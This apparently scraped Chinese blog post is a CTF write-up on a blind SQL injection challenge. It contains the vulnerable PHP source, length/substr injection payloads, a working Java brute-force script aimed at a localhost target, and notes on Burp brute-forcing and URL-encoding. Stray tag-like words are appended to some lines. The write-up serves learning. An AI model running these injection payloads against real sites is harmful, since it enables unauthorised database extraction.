利用java編寫的盲註腳本

 

 

以前在網上見到一個盲注的題目,正好閒來無事,便用java寫了個盲註腳本,並記錄下過程當中的坑php

 

題目源碼:html

<?php
header("Content-Type: text/html;charset=utf-8");
session_start();
require_once 'sql.php';
if((!isset($_SESSION["session"])) or (!isset($_COOKIE["username"]))){
    echo "您還未登陸,3秒後跳轉到登陸處!";
    header("Refresh:3;url=index.php");
    exit();
}

function inject_check($sql_str) {
    return preg_match('|\$|', $sql_str); 
}

if ($_COOKIE["PHPSESSID"] == $_SESSION["session"]){
    if (inject_check($_GET['id'])){
        header("HTTP/1.1 400 Bad Request");
        exit('GET 400 Bad Request:/'.$_SERVER['QUERY_STRING']);
    }else{
        $id=$_GET['id'];
    }
        mysql_select_db("test",$conn) or exit("DB Select Failure</br>");
        $sql="select * from id where id = $id";//注入點
        $res=mysql_query($sql,$conn) or exit("DB Query Failure</br>");
        $num = mysql_num_rows($res);
        echo "Return ".$num." rows";
}else{
    header("location:index.php");
}

?>

從源碼中來讀能夠發現,SQL語句是直接拼接的,其中只用了正則匹配了$符號java

(但由於比賽的時候沒有源碼,致使我腳本一直沒跑對)mysql

發現訪問頁面後,會返回查詢SQL的返回條數sql

直接返回Return 1 rows,當咱們在後面輸入 and 1=2的時候服務器

返回就變成0條了cookie

能夠初步判斷存在注入,題目又給出了表名和要跑的列名session

 

利用MySQL的length函數判斷keyword的長度app

select * from id where id = 1 and length((select keyword from id))=13

 

判斷出keyword的長度爲13,進一步利用substr函數一字符一字符的獲取,並與字典比較函數

當相等時,頁面就會返回Return 1 rows

 

利用java編寫腳本

大概盲注思路出來後,便用java編寫腳本

程序中,放入兩個嵌套循環,一個控制咱們substr獲取的偏移數,另外一個循環控制咱們要對比的字符

閱讀題目源碼的時候發現,頁面會對session和cookie中的username參數作驗證,若是不存在,則會跳轉到登陸頁面

因此訪問的時候還得帶上cookie

腳本源碼以下:

package test;

import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;

public class sql {

    public static void main(String[] args) throws IOException {
        // TODO Auto-generated method stub
        BufferedReader in = null;
        String cookie = "username=admin;PHPSESSID=72nd4r1p9g4o6fqp5hhrri0sh5"; 
        URL url = null;
        String str = null;
        for (int i=1;i<14;i++) {
            String cs=String.valueOf(i);
            in = new BufferedReader(new FileReader("C:\\Users\\Administrator\\Desktop\\superdic.txt"));
            while((str = in.readLine()) != null) {
                String urlPath = "http://localhost/flag.php?id=1%20and%20substr((select%20keyword%20from%20id),"+cs+",1)='"+str+"'";;
                try {
                    url = new URL(urlPath);
                } catch (MalformedURLException e) {
                    System.out.println("error:"+cs);
                } 
                URLConnection conn = url.openConnection(); 
                conn.setRequestProperty("Cookie", cookie); 
                conn.setDoInput(true); 
                BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream())); 
                StringBuilder sb = new StringBuilder(); 
                String line = null; 
                line = br.readLine();
                sb.append(line);
                if("Return 1 rows".equals(sb.toString())) {
                    System.out.println(cs+str);
                    break;
                }
            }
        }
        
        in.close();
    }

}

 

其中C:\\Users\\Administrator\\Desktop\\superdic.txt中存放的就是咱們要對比的字符字典

運行腳本後發現

程序返回400了

咱們剛纔注入length函數返回的結果明明是13,怎麼這隻跑出來三個字符就結束了(實際上是過濾了)

咱們把字典中的$去掉,接着跑

能夠看到,跑是跑出來了,能夠缺了第4個和第10個字符

因此只能獲得Key?s+P4y?0ad的字符串其中兩個字符未知

 

經過爆破獲得

既然注入不出來,那我就到提交flag的地方爆破

將咱們剛纔注入的結果寫入

而後抓包

抓包模式必定要選擇Cluster bomb

而後配置好後,開始爆破

爆破發現,無論怎麼查看結果都是錯誤的,Length都是同樣長

後面檢討本身是否是什麼步驟錯了

 

URL懷疑人生

反覆查看本身的腳本,發現個人腳本去請求服務器的時候會進行一次URL解密

而+號解密的結果正好是空格.....

因此只須要在剛纔爆破的時候把%2B改爲+就能夠了

最後獲得flag:

相關文章
相關標籤/搜索